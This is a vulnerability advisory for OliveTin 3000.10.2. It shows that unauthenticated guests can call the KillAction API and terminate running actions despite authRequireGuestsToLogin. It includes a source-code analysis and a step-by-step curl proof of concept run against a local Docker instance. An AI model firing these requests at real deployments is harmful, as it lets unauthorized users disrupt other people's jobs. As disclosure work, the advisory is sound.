GHSA-4fqm-6fmh-82mq: 
vulnerability analysis and mitigation

Summary

OliveTin allows an unauthenticated guest to terminate running actions through KillAction even when authRequireGuestsToLogin: true is enabled. In the tested release (3000.10.2), guests are correctly blocked from dashboard access, but an still call the KillAction RPC directly and successfully stop a running action. This is a broken access control issue that causes unauthorized denial of service against legitimate action executions.

Details

The issue is caused by inconsistent authorization enforcement between dashboard access and action-control RPCs. KillAction() authenticates the caller and applies only the per-action kill ACL check:

• service/internal/api/api.go:62 However, it does not enforce the guest login requirement. The guest/login gate exists separately in:
• service/internal/api/api.go:474 That gate is used by dashboard-style methods, but not by KillAction. In addition, when authRequireGuestsToLogin is enabled, config sanitization disables guest view, exec, and logs permissions, but leaves kill unchanged:
• service/internal/config/sanitize.go:160 Specifically:
• DefaultPermissions.View = false
• DefaultPermissions.Exec = false
• DefaultPermissions.Logs = false
• DefaultPermissions.Kill remains unchanged As a result, in the default configuration path where Kill remains allowed, an unauthenticated guest user can still satisfy IsAllowedKill():
• service/internal/acl/acl.go:133 I validated this behavior on a clean 3000.10.2 setup:
• guests were denied access to GetDashboard
• an authenticated admin user started a long-running action
• an unauthenticated guest successfully called KillAction
• the action was terminated This confirms a real authorization bypass affecting action termination.

PoC

Tested version:

  3000.10.2

1. Create a minimal config:

  mkdir -p /tmp/olivetin-kill-bypass
  cat > /tmp/olivetin-kill-bypass/config.yaml <<'YAML'
  listenAddressSingleHTTPFrontend: 0.0.0.0:1337
  logLevel: "DEBUG"
  checkForUpdates: false
  authRequireGuestsToLogin: true
  authLocalUsers:
    enabled: true
    users:
      - username: "admin"
        usergroup: "admin"
        password: "$argon2id$v=19$m=65536,t=4,p=2$JLk85PhCL7RPboAlsYO4Lw$bQj6uhKnBpisbGRhe271cEt59S9EqYrHKeCfykypbZ4"
  accessControlLists:
    - name: adminall
      addToEveryAction: true
      matchUsernames: ["admin"]
      permissions:
        view: true
        exec: true
        logs: true
        kill: true
  actions:
    - title: long-running
      id: long-running
      shell: sleep 20
      timeout: 30
  YAML

2. Start OliveTin 3000.10.2:

  docker rm -f olivetin-kill-bypass 2>/dev/null || true
  docker run -d --name olivetin-kill-bypass \
    -p 1347:1337 \
    -v /tmp/olivetin-kill-bypass:/config:ro \
    ghcr.io/olivetin/olivetin:3000.10.2

3. Confirm the server is ready:

  curl -i http://127.0.0.1:1347/readyz

4. Prove guests are blocked from dashboard access:

  curl -i -X POST http://127.0.0.1:1347/api/GetDashboard \
    -H 'Content-Type: application/json' \
    --data '{"title":"default"}'
  Observed response:
  HTTP/1.1 403 Forbidden
  {"code":"permission_denied","message":"guests are not allowed to access the dashboard"}

5. Log in as admin:

  curl -c /tmp/ot_admin_cookie.txt -i -X POST http://127.0.0.1:1347/api/LocalUserLogin \
    -H 'Content-Type: application/json' \
    --data '{"username":"admin","password":"SecretPass123!"}'

6. Start a long-running action as admin:

  curl -i -b /tmp/ot_admin_cookie.txt -X POST http://127.0.0.1:1347/api/StartAction \
    -H 'Content-Type: application/json' \
    --data '{"bindingId":"long-running","arguments":[],"uniqueTrackingId":"kill-hunt-1"}'
  Observed response:
  HTTP/1.1 200 OK
  {"executionTrackingId":"kill-hunt-1"}

7. Kill it as an unauthenticated guest:

  curl -i -X POST http://127.0.0.1:1347/api/KillAction \
    -H 'Content-Type: application/json' \
    --data '{"executionTrackingId":"kill-hunt-1"}'

Observed response:

  HTTP/1.1 200 OK
  {"executionTrackingId":"kill-hunt-1","killed":true,"alreadyCompleted":false,"found":true}

8. Confirm in container logs:

  docker logs olivetin-kill-bypass 2>&1 | tail -n 120

Observed relevant lines:

  Authenticated API request ... path="/olivetin.api.v1.OliveTinApiService/GetDashboard" ... username="guest"
  Authenticated API request ... path="/olivetin.api.v1.OliveTinApiService/StartAction" ... username="admin"
  Action started actionTitle="long-running"
  Authenticated API request ... path="/olivetin.api.v1.OliveTinApiService/KillAction" ... username="guest"
  Killing execution request by tracking ID: kill-hunt-1
  Action finished actionTitle="long-running" exit="-1"

This proves:

• guests are denied dashboard access
• guests can still invoke KillAction
• the running action is successfully terminated by an unauthenticated user

Impact

This is an unauthenticated broken access control vulnerability resulting in denial of service. An unauthenticated guest can:

• terminate active jobs started by legitimate users
• disrupt long-running administrative or operational workflows
• interfere with privileged actions without being allowed to log in Who is impacted:
• OliveTin deployments with authRequireGuestsToLogin: true
• multi-user environments where actions may run for meaningful durations
• operational environments where stopping a running action can interrupt maintenance, deployment, backup, or service-control tasks This issue does not require valid credentials, only knowledge of a live executionTrackingId. That still makes it a real and exploitable availability issue in environments where execution identifiers can be observed or predicted through adjacent leaks or shared operator knowledge.